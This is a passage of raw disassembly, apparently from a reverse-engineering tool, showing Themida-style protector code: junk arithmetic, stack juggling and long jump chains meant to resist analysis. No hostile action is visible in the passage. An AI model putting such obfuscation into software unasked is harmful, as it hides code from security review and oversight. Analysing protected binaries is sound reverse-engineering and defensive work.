loc_59EDE7: ; CODE XREF: Themida_:0059F8CFj
pop edi
push 739Dh
mov [esp], ecx
mov ecx, esp
push edi
mov edi, 4
add ecx, edi
pop edi
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], ebp
push ecx
push 141F2138h
mov ecx, [esp]
add esp, 4
xor ecx, 1F3C179Ah
ja loc_59FAAC
not ecx
inc ecx
add ecx, 233E56AEh
push ecx
mov edx, ecx
loc_59EE2C: ; CODE XREF: Themida_:005AC940j
sub esi, 32D12A09h
add esi, ecx
jmp loc_59BA32
; ---------------------------------------------------------------------------
loc_59EE39: ; CODE XREF: Themida_:0059D524j
sub esp, 4
mov [esp], edx
mov edx, esp
push ecx
jmp loc_5A145F
; ---------------------------------------------------------------------------
loc_59EE47: ; CODE XREF: Themida_:005A85D8j
push ebp
jmp loc_5A4D77
; ---------------------------------------------------------------------------
loc_59EE4D: ; CODE XREF: Themida_:005AA5E8j
pop esi
sub ecx, 33EA1766h
sub ecx, edi
add ecx, 33EA1766h
pop edi
jmp loc_59ED1F
; ---------------------------------------------------------------------------
loc_59EE62: ; CODE XREF: Themida_:0059C4B6j
shr ebp, 4
jmp loc_5AC2A4
; ---------------------------------------------------------------------------
loc_59EE6A: ; CODE XREF: Themida_:005999AEj
pop eax
sub esp, 4
mov [esp], esi
push edx
mov edx, 22654E7Fh
push edx
jmp loc_5A069D
; ---------------------------------------------------------------------------
loc_59EE7D: ; CODE XREF: Themida_:005AAA07j
mov [esp], ecx
push 197F559Fh
pop ecx
shr ecx, 6
xchg edi, ecx
not edi
jmp loc_5A6B09
; ---------------------------------------------------------------------------
loc_59EE92: ; CODE XREF: Themida_:005A57CBj
push dword ptr [esp]
pop ebx
add esp, 4
push edx
mov edx, 50016141h
neg edx
dec edx
not edx
shr edx, 3
push eax
jmp loc_5A7F81
; ---------------------------------------------------------------------------
loc_59EEB0: ; CODE XREF: Themida_:0059A1C3j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59EEB5: ; CODE XREF: Themida_:005AAB33j
push esi
mov esi, 34DA4EC9h
sub esi, 0F5B33CBBh
add ebp, esi
pop esi
pop edx
jmp loc_5ABD06
; ---------------------------------------------------------------------------
loc_59EECA: ; CODE XREF: Themida_:005A84F6j
xchg eax, [esp]
jmp loc_5A64DE
; ---------------------------------------------------------------------------
loc_59EED2: ; CODE XREF: Themida_:0059CE15j
push ebp
mov ebp, 5F1E5FE2h
sub [esp+4], ebp
pop ebp
mov ecx, [esp]
jmp loc_59964F
; ---------------------------------------------------------------------------
loc_59EEE5: ; CODE XREF: Themida_:005ABB6Dj
sub ebx, 61DF6B79h
mov ecx, ebx
pop ebx
add eax, ecx
jmp loc_5AD085
; ---------------------------------------------------------------------------
lodsb
xor al, bl
jmp loc_5AC018
; ---------------------------------------------------------------------------
loc_59EEFD: ; CODE XREF: Themida_:005A0850j
shl esi, 5
or esi, 7933191Eh
sub esi, 7C396219h
jmp loc_5A2326
; ---------------------------------------------------------------------------
loc_59EF11: ; CODE XREF: Themida_:005A5376j
xchg ebx, edx
jmp loc_5A88CD
; ---------------------------------------------------------------------------
loc_59EF18: ; CODE XREF: Themida_:005A2257j
; Themida_:005AF56Cj
sub ecx, 100C68E2h
push ebp
jmp loc_5AAE51
; ---------------------------------------------------------------------------
loc_59EF24: ; CODE XREF: Themida_:005A0F9Ej
; Themida_:005A5220j
mov edi, [esp]
add esp, 4
jmp loc_59D740
; ---------------------------------------------------------------------------
loc_59EF32: ; CODE XREF: Themida_:0059C811j
inc bp
jmp loc_59DB22
; ---------------------------------------------------------------------------
loc_59EF39: ; CODE XREF: Themida_:0059F4A6j
pop bx
jmp loc_5A3A88
; ---------------------------------------------------------------------------
loc_59EF40: ; CODE XREF: Themida_:005A0439j
mov [esp], eax
push esp
pop eax
add eax, 4
jmp loc_5A9368
; ---------------------------------------------------------------------------
loc_59EF4F: ; CODE XREF: Themida_:0059F03Cj
add eax, 3BDE6253h
add eax, ebx
push ecx
mov ecx, 57B44E14h
add ecx, 0E42A143Fh
jmp loc_5A6DDC
; ---------------------------------------------------------------------------
loc_59EF67: ; CODE XREF: Themida_:0059EB24j
jmp loc_59CC5C
; ---------------------------------------------------------------------------
loc_59EF6C: ; CODE XREF: Themida_:005A1C39j
sub eax, 5E995046h
xor ebp, eax
pop eax
sub esp, 4
mov [esp], ebx
jmp loc_5A7CDB
; ---------------------------------------------------------------------------
loc_59EF7F: ; CODE XREF: Themida_:005AC7D3j
push 65B734FFh
push dword ptr [esp]
pop esi
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_5A17B7
; ---------------------------------------------------------------------------
loc_59EF9D: ; CODE XREF: Themida_:005A9963j
mov edx, esi
pop esi
mov eax, [esp]
add esp, 4
mov ebx, 782E45B7h
sub ebx, edx
pop edx
jmp loc_5A53E9
; ---------------------------------------------------------------------------
loc_59EFB6: ; CODE XREF: Themida_:005A7FB0j
mov esp, [esp]
mov [esp], esi
mov esi, 4DB86EDAh
push ecx
mov ecx, 21F4210Dh
xor esi, ecx
pop ecx
xor esi, 6C4C4FD3h
add ebp, 62806056h
jmp loc_5A8F5A
; ---------------------------------------------------------------------------
loc_59EFDB: ; CODE XREF: Themida_:005A495Fj
xor eax, 1B8A5385h
mov edi, eax
pop eax
jmp loc_59B53A
; ---------------------------------------------------------------------------
loc_59EFE8: ; CODE XREF: Themida_:005AD2D0j
mov [esp], esi
jmp loc_5AD741
; ---------------------------------------------------------------------------
loc_59EFF0: ; CODE XREF: Themida_:005A118Cj
neg ch
sub ch, 0FFh
xor ch, 0A5h
sub al, ch
pop ecx
jmp loc_5A7C1A
; ---------------------------------------------------------------------------
loc_59F000: ; CODE XREF: Themida_:0059EA47j
; Themida_:loc_5ACD15j
shl edx, 2
or edx, 2C1B2F25h
jmp loc_5A5921
; ---------------------------------------------------------------------------
loc_59F00E: ; CODE XREF: Themida_:005AE05Fj
xor edi, ebp
pop ebp
push ebx
mov ebx, 56F7230Bh
push edi
push 73C53EAh
jmp loc_5AE97C
; ---------------------------------------------------------------------------
loc_59F022: ; CODE XREF: Themida_:0059DF61j
pop edi
xor edx, 7D9835DBh
jge loc_5A3236
add edx, 0CE96F0Bh
jl loc_59F4E4
loc_59F03B: ; CODE XREF: Themida_:005AC563j
pop ebp
jmp loc_59EF4F
; ---------------------------------------------------------------------------
loc_59F041: ; CODE XREF: Themida_:loc_5ABDDFj
inc edi
jmp loc_59A892
; ---------------------------------------------------------------------------
loc_59F047: ; CODE XREF: Themida_:005A4045j
; Themida_:005A7E30j
inc edi
shl edi, 8
jmp loc_598A1C
; ---------------------------------------------------------------------------
loc_59F050: ; CODE XREF: Themida_:0059BB82j
add edi, 78A76C24h
push edi
pop ebp
pop edi
jmp loc_5A1FAD
; ---------------------------------------------------------------------------
loc_59F05E: ; CODE XREF: Themida_:005AB18Bj
add eax, ecx
jmp loc_5A00F3
; ---------------------------------------------------------------------------
loc_59F065: ; CODE XREF: Themida_:0059A9D7j
; Themida_:0059A9DFj ...
pop eax
xor ebp, eax
jmp loc_5A1F5A
; ---------------------------------------------------------------------------
loc_59F06D: ; CODE XREF: Themida_:005A9300j
push 1F87h
mov [esp], edi
mov edi, 308801DAh
or eax, edi
jmp loc_59C527
; ---------------------------------------------------------------------------
loc_59F081: ; CODE XREF: Themida_:005A8878j
add esp, 4
xor al, cl
push dword ptr [esp]
pop ecx
push eax
mov eax, esp
sub esp, 4
mov [esp], edx
mov edx, 76A3230Bh
push edi
mov edi, 37674FD6h
shr edi, 6
add edi, 1
neg edi
push edx
mov edx, 343D25EFh
inc edx
sub edx, 7E2D5810h
add edx, 19555B03h
neg edx
sub edx, 2DA777AFh
xor edx, 227747EAh
jmp loc_5AE785
; ---------------------------------------------------------------------------
loc_59F0CF: ; CODE XREF: Themida_:0059F9ADj
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_5A5521
; ---------------------------------------------------------------------------
loc_59F0E4: ; CODE XREF: Themida_:0059FC7Bj
shr ch, 6
sub ch, 5Bh
jmp loc_59CEEF
; ---------------------------------------------------------------------------
loc_59F0EF: ; CODE XREF: Themida_:005A002Ej
mov ebp, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
or eax, ebp
mov ebp, [esp]
add esp, 4
jmp loc_5A5A61
; ---------------------------------------------------------------------------
loc_59F114: ; CODE XREF: Themida_:005ACF83j
add edi, 0C94A8DABh
add ebp, edi
push dword ptr [esp]
jmp loc_59D98B
; ---------------------------------------------------------------------------
loc_59F124: ; CODE XREF: Themida_:0059C360j
and eax, 314B7D35h
xor eax, 200B3414h
add ebx, eax
pop eax
jmp loc_5A16A8
; ---------------------------------------------------------------------------
loc_59F136: ; CODE XREF: Themida_:00598C9Aj
; Themida_:loc_59A035j
add al, 9Dh
or cl, al
pop eax
sub cl, 0ADh
add al, cl
jmp loc_59C394
; ---------------------------------------------------------------------------
loc_59F145: ; CODE XREF: Themida_:0059CB14j
; Themida_:005A7382j
push edx
mov edx, 568C5747h
and edx, 73C136Eh
sub edx, 8D121BAh
and edx, 8752813h
sub edx, 8301FFCh
add ebx, edx
pop edx
xchg ebx, [esp]
pop esp
jmp loc_5A9941
; ---------------------------------------------------------------------------
loc_59F16F: ; CODE XREF: Themida_:005A9E5Aj
push dword ptr [esp]
mov ebp, [esp]
jmp loc_5ABC7D
; ---------------------------------------------------------------------------
loc_59F17A: ; CODE XREF: Themida_:005AE343j
sub al, 53h
push bx
push 11B8h
jmp loc_5ABD49
; ---------------------------------------------------------------------------
loc_59F188: ; CODE XREF: Themida_:0059C49Ej
sub esp, 4
mov [esp], edi
push edx
jmp loc_599051
; ---------------------------------------------------------------------------
loc_59F194: ; CODE XREF: Themida_:005A696Aj
pop edx
jmp loc_5A2AEA
; ---------------------------------------------------------------------------
loc_59F19A: ; CODE XREF: Themida_:005A784Cj
push ecx
push 1EBCh
mov [esp], esp
add dword ptr [esp], 4
pop ecx
add ecx, 4
push ebp
mov ebp, 2
jmp loc_5A2A65
; ---------------------------------------------------------------------------
loc_59F1B9: ; CODE XREF: Themida_:loc_5AC7FBj
jmp loc_59D586
; ---------------------------------------------------------------------------
loc_59F1BE: ; CODE XREF: Themida_:005AC6D2j
jmp loc_59D36C
; ---------------------------------------------------------------------------
loc_59F1C3: ; CODE XREF: Themida_:005A15E7j
mov [esp], ebx
jmp loc_5AC0AE
; ---------------------------------------------------------------------------
loc_59F1CB: ; CODE XREF: Themida_:005A9350j
pop ecx
sub ebx, 28B13302h
xor ebx, 0C5FD3ABh
push ebp
mov ebp, 49341C85h
add edi, ebp
pop ebp
jmp loc_59EDD3
; ---------------------------------------------------------------------------
loc_59F1E6: ; CODE XREF: Themida_:0059D4F9j
; Themida_:005A893Dj
mov dh, bh
mov ch, dh
pop edx
jmp loc_5AEB0B
; ---------------------------------------------------------------------------
loc_59F1F0: ; CODE XREF: Themida_:005ADADAj
mov esp, [esp]
mov [esp], ebx
push dword ptr [esp+4]
mov ebx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
mov cx, [esp]
push ecx
push esp
pop ecx
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
mov esp, [esp]
mov [esp], ecx
push esp
pop ecx
add ecx, 4
push ebx
mov ebx, 2
sub ecx, 28676A5h
add ecx, ebx
push edi
push ebp
mov ebp, 11FF0160h
inc ebp
or ebp, 4D7E6CBEh
xor ebp, 5F791B5Ah
mov edi, ebp
pop ebp
add ecx, edi
pop edi
push dword ptr [esp]
pop ebx
add esp, 4
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_5AA9D0
; ---------------------------------------------------------------------------
loc_59F26D: ; CODE XREF: Themida_:00599110j
xor al, 0C5h
xor bh, al
mov eax, [esp]
add esp, 4
sub al, 41h
add al, bh
add al, 41h
pop ebx
add al, 0C3h
jmp loc_59B7EE
; ---------------------------------------------------------------------------
loc_59F285: ; CODE XREF: Themida_:005A8308j
push 7A85h
mov [esp], edi
pop dword ptr [edx+38h]
jmp loc_5A055B
; ---------------------------------------------------------------------------
loc_59F295: ; CODE XREF: Themida_:005A3BEBj
push 7D3Ah
mov [esp], esi
mov esi, 9277757h
mov eax, esi
pop esi
mov ebx, eax
mov eax, [esp]
add esp, 4
and ebx, 76B93CADh
jmp loc_5A6D61
; ---------------------------------------------------------------------------
loc_59F2BB: ; CODE XREF: Themida_:005A6A98j
mov esp, [esp]
jmp loc_5ABF99
; ---------------------------------------------------------------------------
loc_59F2C3: ; CODE XREF: Themida_:005A3334j
push ebx
mov ebx, 7B5970F2h
not ebx
shl ebx, 5
xor ebx, 0CDB7092h
jns loc_59A05B
xor ebx, 0B7262831h
jmp loc_5A79F9
; ---------------------------------------------------------------------------
loc_59F2E5: ; CODE XREF: Themida_:0059E44Fj
mov ebx, [esp]
add esp, 4
add bl, 0AFh
sub bl, 3Fh
jmp loc_59A2CD
; ---------------------------------------------------------------------------
loc_59F2F9: ; CODE XREF: Themida_:005AD390j
push 0BC0B0Eh
pop esi
inc esi
jmp loc_5A4498
; ---------------------------------------------------------------------------
loc_59F305: ; CODE XREF: Themida_:005A63B0j
push edx
mov edx, esp
jmp loc_5A2AF0
; ---------------------------------------------------------------------------
loc_59F30D: ; CODE XREF: Themida_:0059B027j
neg eax
sub eax, 2028234Ch
xor edi, eax
pop eax
sub eax, edi
pop edi
pop esi
mov esi, [esp]
push esi
mov esi, esp
add esi, 4
jmp loc_5A9AF8
; ---------------------------------------------------------------------------
loc_59F32C: ; CODE XREF: Themida_:0059B005j
add eax, 29C73DB3h
add eax, ebx
jmp loc_5A32C0
; ---------------------------------------------------------------------------
loc_59F338: ; CODE XREF: Themida_:005AACFEj
xor esi, [esp]
jmp loc_59EB4E
; ---------------------------------------------------------------------------
loc_59F340: ; CODE XREF: Themida_:005ABC43j
add ebp, ebx
add ebp, 5CA5680Bh
jmp loc_59E80C
; ---------------------------------------------------------------------------
loc_59F34D: ; CODE XREF: Themida_:005ACB77j
add esp, 4
push ebx
xchg ebx, [esp]
not ebx
xchg ebx, [esp]
pop ebx
inc ebx
shr ebx, 1
push esi
push ebx
push 0A36590Dh
jmp loc_59A965
; ---------------------------------------------------------------------------
loc_59F36C: ; CODE XREF: Themida_:0059ADE7j
add esp, 4
sub esp, 4
mov [esp], ecx
jmp loc_5A4015
; ---------------------------------------------------------------------------
loc_59F37A: ; CODE XREF: Themida_:005A3092j
mov bl, 0EBh
add bl, cl
pop ecx
sub bl, dh
mov edx, [esp]
push ecx
jmp loc_5A2A08
; ---------------------------------------------------------------------------
loc_59F38A: ; CODE XREF: Themida_:0059B04Fj
mov [esp], esi
mov esi, 2
push edx
mov edx, 4CA50E73h
and edx, 119A5641h
xor edx, 209E7302h
add edx, 314A6007h
xor edx, 0F35A9CEh
jmp loc_599562
; ---------------------------------------------------------------------------
loc_59F3B5: ; CODE XREF: Themida_:0059A5CCj
mov esi, 6F12211Fh
sub edi, esi
pop esi
pop edx
movzx eax, al
jmp loc_5A0166
; ---------------------------------------------------------------------------
loc_59F3C6: ; CODE XREF: Themida_:005A1346j
mov esp, [esp]
mov [esp], esi
sub esp, 4
mov [esp], ecx
mov ecx, ebx
sub esp, 4
mov [esp], ecx
xor dword ptr [esp], 43F73C3Ch
pop esi
xor esi, 43F73C3Ch
push dword ptr [esp]
jmp loc_5A217E
; ---------------------------------------------------------------------------
loc_59F3F6: ; CODE XREF: Themida_:005A72F3j
add dword ptr [esp+8], 1EBA6C40h
add [esp+8], ebp
push edi
mov edi, 1EBA6C40h
jmp loc_5AEBE6
; ---------------------------------------------------------------------------
loc_59F40D: ; CODE XREF: Themida_:005A7A57j
pop eax
xor al, dh
mov edx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
jmp loc_5AE7B4
; ---------------------------------------------------------------------------
loc_59F42A: ; CODE XREF: Themida_:005ADC23j
neg al
jmp loc_5A70E1
; ---------------------------------------------------------------------------
loc_59F431: ; CODE XREF: Themida_:loc_5A96FCj
xor ecx, 0BB594447h
push ebp
jmp loc_5A2B61
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59F444: ; CODE XREF: Themida_:005A4933j
push eax
mov eax, esp
add eax, 4
jmp loc_5A84F1
; ---------------------------------------------------------------------------
loc_59F451: ; CODE XREF: Themida_:0059E318j
add esp, 2
mov bp, [esp]
push ecx
mov ecx, esp
push ebx
push edx
push 32DE4BE3h
pop edx
xor edx, 32DE4BE7h
push edx
jmp loc_59A8AC
; ---------------------------------------------------------------------------
loc_59F46F: ; CODE XREF: Themida_:00599444j
; Themida_:005A9EC2j
xor cl, bh
jmp loc_5A8AFC
; ---------------------------------------------------------------------------
loc_59F476: ; CODE XREF: Themida_:0059FAF5j
shl ebx, 2
or ebx, 1C716D06h
jmp loc_5AD395
; ---------------------------------------------------------------------------
loc_59F484: ; CODE XREF: Themida_:005A2554j
mov ebx, [esp]
add esp, 4
sub ebp, 4
push ebp
push dword ptr [esp+4]
mov ebp, [esp]
push ecx
mov ecx, esp
jmp loc_5A0421
; ---------------------------------------------------------------------------
loc_59F4A0: ; CODE XREF: Themida_:005AC8B7j
sub al, 47h
sub al, bh
add al, 47h
jmp loc_59EF39
; ---------------------------------------------------------------------------
loc_59F4AB: ; CODE XREF: Themida_:005A03E9j
push 3F23h
jmp loc_599096
; ---------------------------------------------------------------------------
loc_59F4B5: ; CODE XREF: Themida_:0059FDCFj
add edx, ebx
pop ebx
xchg edx, [esp]
pop esp
and ecx, edi
push dword ptr [esp]
pop edi
add esp, 4
shr ecx, 0Bh
push ebp
push esp
mov ebp, [esp]
add esp, 4
add ebp, 4
sub ebp, 4
jmp loc_5A3BD2
; ---------------------------------------------------------------------------
loc_59F4E4: ; CODE XREF: Themida_:0059B935j
; Themida_:0059F035j
xor [esp], ecx
jmp loc_5AE016
; ---------------------------------------------------------------------------
mov cx, [esp]
push 5632h
mov [esp], esi
push esp
pop esi
sub esp, 4
mov [esp], ebp
jmp loc_5A826C
; ---------------------------------------------------------------------------
loc_59F508: ; CODE XREF: Themida_:00598869j
sub esp, 4
jmp loc_59E9BF
; ---------------------------------------------------------------------------
loc_59F510: ; CODE XREF: Themida_:005A3AF6j
jl loc_5A0F32
and ebx, 11D108BBh
jle loc_59B7BB
mov ebx, esi
loc_59F524: ; CODE XREF: Themida_:005A5430j
push ebp
mov ebp, esp
jmp loc_5AB681
; ---------------------------------------------------------------------------
loc_59F52C: ; CODE XREF: Themida_:005ADD9Cj
push edx
mov edx, esp
add edx, 4
jmp loc_5A9665
; ---------------------------------------------------------------------------
loc_59F53A: ; CODE XREF: Themida_:005A8D85j
xchg esi, edi
jmp loc_5A1A17
; ---------------------------------------------------------------------------
loc_59F541: ; CODE XREF: Themida_:005A824Bj
; Themida_:005AC29Fj
mov ebx, 3642C72h
neg ebx
shl ebx, 6
add ebx, 210A5F6Fh
sub ebx, 6F436D3Ch
dec ebx
xor ebx, 0BCF6E8B3h
add edx, 26513B8Ch
sub edx, ebx
sub edx, 26513B8Ch
pop ebx
jmp loc_5A0F16
; ---------------------------------------------------------------------------
loc_59F572: ; CODE XREF: Themida_:0059C55Dj
sub ebx, 0C5C39179h
push ecx
mov ecx, 23C0361Bh
and ecx, 1D657C7Eh
jmp loc_5AAB7A
; ---------------------------------------------------------------------------
loc_59F589: ; CODE XREF: Themida_:005A9002j
; Themida_:005AC732j
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59F58E: ; CODE XREF: Themida_:00598DE6j
neg esi
add esi, 50D953B0h
not esi
inc esi
or esi, 499F155Eh
jmp loc_59E1E8
; ---------------------------------------------------------------------------
loc_59F5A4: ; CODE XREF: Themida_:005A5B42j
mov ebp, 4
mov esi, ebp
pop ebp
add edx, esi
pop esi
push 7A45h
mov [esp], edi
push 55C3h
mov [esp], edx
jmp loc_5A1F16
; ---------------------------------------------------------------------------
loc_59F5C4: ; CODE XREF: Themida_:005AB38Fj
push 44EFh
jmp loc_59B302
; ---------------------------------------------------------------------------
loc_59F5CE: ; CODE XREF: Themida_:0059DBB1j
add esp, 4
mov eax, [esp]
add esp, 4
push bx
mov bl, ch
xchg dh, bl
not dh
xchg dh, bl
mov ch, bl
mov bx, [esp]
add esp, 2
jmp loc_5ADA2A
; ---------------------------------------------------------------------------
loc_59F5F2: ; CODE XREF: Themida_:005AA9C6j
add eax, edx
mov edx, [esp]
jmp loc_59A52B
; ---------------------------------------------------------------------------
loc_59F5FC: ; CODE XREF: Themida_:005AB90Fj
sub bl, ch
pop ecx
add bl, 5Eh
shr bl, 5
sub bl, 0EFh
sub al, bl
pop ebx
push edx
mov dl, 8Fh
add bl, dl
push dword ptr [esp]
pop edx
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_5AD2F6
; ---------------------------------------------------------------------------
loc_59F625: ; CODE XREF: Themida_:005A1087j
pop esi
push eax
push esp
jmp loc_5A82CD
; ---------------------------------------------------------------------------
loc_59F62D: ; CODE XREF: Themida_:0059AD8Fj
push ebx
push 3756h
mov [esp], esp
add dword ptr [esp], 4
pop ebx
push ebp
push esp
jmp loc_5ABBBF
; ---------------------------------------------------------------------------
loc_59F642: ; CODE XREF: Themida_:005A9537j
mov ecx, ebx
jmp loc_5A914D
; ---------------------------------------------------------------------------
loc_59F649: ; CODE XREF: Themida_:0059E382j
add ecx, 29CB5F6Ah
mov ebx, [esp]
add esp, 4
rep movsd
add esp, [edx+38h]
jmp loc_5A052B
; ---------------------------------------------------------------------------
loc_59F662: ; CODE XREF: Themida_:00599688j
shr esi, 7
jmp loc_59ED71
; ---------------------------------------------------------------------------
loc_59F66A: ; CODE XREF: Themida_:005AF351j
pop eax
mov eax, edi
pop edi
shl eax, 7
sub eax, 44507D80h
sub eax, 785137C5h
add eax, 80566BD6h
jmp loc_5A6AC4
; ---------------------------------------------------------------------------
loc_59F685: ; CODE XREF: Themida_:005A36C5j
add esp, 4
jmp loc_5A67A0
; ---------------------------------------------------------------------------
loc_59F690: ; CODE XREF: Themida_:005A3231j
mov edx, 4
add esi, edx
mov edx, [esp]
add esp, 4
push eax
mov eax, 4
add esi, eax
pop eax
push ebp
mov ebp, esp
add ebp, 4
jmp loc_59E85B
; ---------------------------------------------------------------------------
loc_59F6B4: ; CODE XREF: Themida_:005A4A5Fj
inc edi
xor edi, 5DB91CE3h
jns loc_59C181
not edi
push ecx
jmp loc_5A6470
; ---------------------------------------------------------------------------
push edi
push ebx
mov ch, 0DAh
pop esp
loc_59F6CF: ; CODE XREF: Themida_:005AD2B9j
dec ebx
jmp loc_5A58AD
; ---------------------------------------------------------------------------
loc_59F6D5: ; CODE XREF: Themida_:005AC17Bj
add edx, 4
sub edx, 4
xchg edx, [esp]
jmp loc_5AEF2B
; ---------------------------------------------------------------------------
loc_59F6E9: ; CODE XREF: Themida_:0059DBE0j
mov ebx, edx
mov edx, [esp]
add esp, 4
push eax
mov eax, 0C4D7E33h
jmp loc_5A428A
; ---------------------------------------------------------------------------
loc_59F6FC: ; CODE XREF: Themida_:0059F876j
add esp, 4
sub esp, 4
mov [esp], ecx
mov ecx, esp
push 79C3h
mov [esp], eax
mov eax, 66885972h
push ebx
jmp loc_59AD94
; ---------------------------------------------------------------------------
loc_59F720: ; CODE XREF: Themida_:005A4449j
mov ebx, 567E22BCh
push edi
jmp loc_59AEE9
; ---------------------------------------------------------------------------
loc_59F72B: ; CODE XREF: Themida_:005A4D50j
pop edx
push ecx
jmp loc_5A9B00
; ---------------------------------------------------------------------------
loc_59F732: ; CODE XREF: Themida_:005AACF6j
sub edx, ecx
mov ecx, [esp]
jmp loc_5A9A17
; ---------------------------------------------------------------------------
loc_59F73C: ; CODE XREF: Themida_:005ADA25j
pop ecx
sub ebx, eax
pop eax
and eax, ebx
pop ebx
or edx, eax
shl edx, 1
push 1CEEh
mov [esp], edx
mov edx, 3AC958C5h
inc edx
jge loc_5AB966
xor edx, 7503011Bh
jz loc_5AA8CA
pop edi
loc_59F768: ; CODE XREF: Themida_:00599D6Dj
xor ebp, 68307B84h
jmp loc_5A8DF2
; ---------------------------------------------------------------------------
loc_59F773: ; CODE XREF: Themida_:005A5A37j
sub eax, ecx
pop ecx
push ebx
jmp loc_5AE96B
; ---------------------------------------------------------------------------
loc_59F77C: ; CODE XREF: Themida_:005A2FB2j
add esi, eax
push dword ptr [esp]
pop eax
jmp loc_5A180D
; ---------------------------------------------------------------------------
loc_59F787: ; CODE XREF: Themida_:005A36F9j
mov ebx, 691747DEh
xor ebx, 51AB728Eh
jno loc_599ED6
jmp loc_5A4498
; ---------------------------------------------------------------------------
xor edi, 0D7791B02h
pop ebx
loc_59F7A4: ; CODE XREF: Themida_:005A0EE3j
xchg ebx, [esp]
pop esp
jmp loc_5ADE1C
; ---------------------------------------------------------------------------
loc_59F7AD: ; CODE XREF: Themida_:005A18A8j
; Themida_:005A46D4j
push edi
jmp loc_5A93C2
; ---------------------------------------------------------------------------
loc_59F7B3: ; CODE XREF: Themida_:005A9E11j
add ebx, ecx
mov ecx, [esp]
add esp, 4
xchg ebx, [esp]
pop esp
jmp loc_59CA0C
; ---------------------------------------------------------------------------
loc_59F7C4: ; CODE XREF: Themida_:005A8338j
xor eax, 6ABF3E62h
mov esi, eax
push dword ptr [esp]
pop eax
add esp, 4
add ecx, esi
jmp loc_5ABE0F
; ---------------------------------------------------------------------------
loc_59F7D9: ; CODE XREF: Themida_:005AAE5Cj
add ebp, eax
pop eax
sub ebp, 18B1AE74h
add ecx, 15CF5B09h
sub ecx, ebp
sub ecx, 15CF5B09h
jmp loc_5A887D
; ---------------------------------------------------------------------------
loc_59F7F5: ; CODE XREF: Themida_:0059D036j
mov [esp], edx
jmp loc_5A130E
; ---------------------------------------------------------------------------
loc_59F7FD: ; CODE XREF: Themida_:loc_598F0Ej
push ecx
mov ecx, 9483E196h
xor ebx, ecx
pop ecx
add ebx, 65852D52h
add ebx, 746C5347h
add ebx, edi
sub esp, 4
mov [esp], eax
mov eax, 746C5347h
jmp loc_5A8009
; ---------------------------------------------------------------------------
loc_59F824: ; CODE XREF: Themida_:0059E6F6j
push 3CBF2F9Dh
jmp loc_5A6E3D
; ---------------------------------------------------------------------------
loc_59F82E: ; CODE XREF: Themida_:005A4775j
mov [esp], eax
mov ah, 7Ah
xor ah, 73h
add bl, ah
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5A905F
; ---------------------------------------------------------------------------
loc_59F843: ; CODE XREF: Themida_:005A928Bj
inc cl
jnp loc_5AF040
push edx
mov dl, 32h
shl dl, 6
xor dl, 87h
push eax
mov al, 59h
mov cl, al
loc_59F859: ; CODE XREF: Themida_:005ABC70j
pop esi
dec edx
jmp loc_5A3D56
; ---------------------------------------------------------------------------
loc_59F860: ; CODE XREF: Themida_:005A4C23j
push edi
mov edi, 2EF17341h
jmp loc_5A3CD1
; ---------------------------------------------------------------------------
loc_59F86B: ; CODE XREF: Themida_:00598C37j
jmp loc_59CE55
; ---------------------------------------------------------------------------
loc_59F870: ; CODE XREF: Themida_:005990EDj
push dword ptr [esp]
mov eax, [esp]
jmp loc_59F6FC
; ---------------------------------------------------------------------------
loc_59F87B: ; CODE XREF: Themida_:005A61F2j
mov [esp], eax
mov eax, 4
jmp loc_5A2A97
; ---------------------------------------------------------------------------
loc_59F888: ; CODE XREF: Themida_:005A80B7j
not ebx
jmp loc_5A9AF2
; ---------------------------------------------------------------------------
loc_59F88F: ; CODE XREF: Themida_:005A58B3j
mov edi, ebx
jmp loc_5AC4EC
; ---------------------------------------------------------------------------
loc_59F896: ; CODE XREF: Themida_:005AD4F2j
add edi, ebp
add edi, 69E47673h
sub edi, 47870C74h
pop ebp
jmp loc_5AF3F9
; ---------------------------------------------------------------------------
loc_59F8AA: ; CODE XREF: Themida_:005A9C08j
sub ebx, 0ADA0C8Eh
add ebx, esi
add ebx, 0ADA0C8Eh
pop esi
pop small word ptr [eax]
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_59F8C1: ; CODE XREF: Themida_:005A578Bj
sub ecx, 430F0E83h
add ecx, edi
add ecx, 430F0E83h
jmp loc_59EDE7
; ---------------------------------------------------------------------------
loc_59F8D4: ; CODE XREF: Themida_:005A378Bj
mov [esp], dx
mov dl, 0EAh
sub al, dl
pop dx
jmp loc_599ACC
; ---------------------------------------------------------------------------
loc_59F8E3: ; CODE XREF: Themida_:0059B7B6j
shr esi, 2
and esi, 211F44FBh
jmp loc_5AB9E2
; ---------------------------------------------------------------------------
loc_59F8F1: ; CODE XREF: Themida_:005ACB29j
mov ecx, [esp]
jmp loc_5A6618
; ---------------------------------------------------------------------------
loc_59F8F9: ; CODE XREF: Themida_:0059A099j
mov [esp], edx
jmp loc_59CA47
; ---------------------------------------------------------------------------
loc_59F901: ; CODE XREF: Themida_:0059A0CDj
add ebp, ecx
pop ecx
xor ebp, 0B507D12h
jmp loc_59D000
; ---------------------------------------------------------------------------
loc_59F90F: ; CODE XREF: Themida_:005A3FD3j
pop dword ptr [esp]
pop esp
mov [esp], edx
push ebp
jmp loc_5A300E
; ---------------------------------------------------------------------------
loc_59F91C: ; CODE XREF: Themida_:005A194Aj
add edi, edx
push dword ptr [esp]
pop edx
jmp loc_5AAA0C
; ---------------------------------------------------------------------------
loc_59F927: ; CODE XREF: Themida_:005A0E16j
pop ecx
shl ebx, 2
xor ebx, 0A159C6FDh
sub eax, ebx
pop ebx
add eax, edi
add eax, 1BAD2A05h
pop edi
jmp loc_5A4CD5
; ---------------------------------------------------------------------------
loc_59F941: ; CODE XREF: Themida_:0059E402j
mov ebx, 4A39017Bh
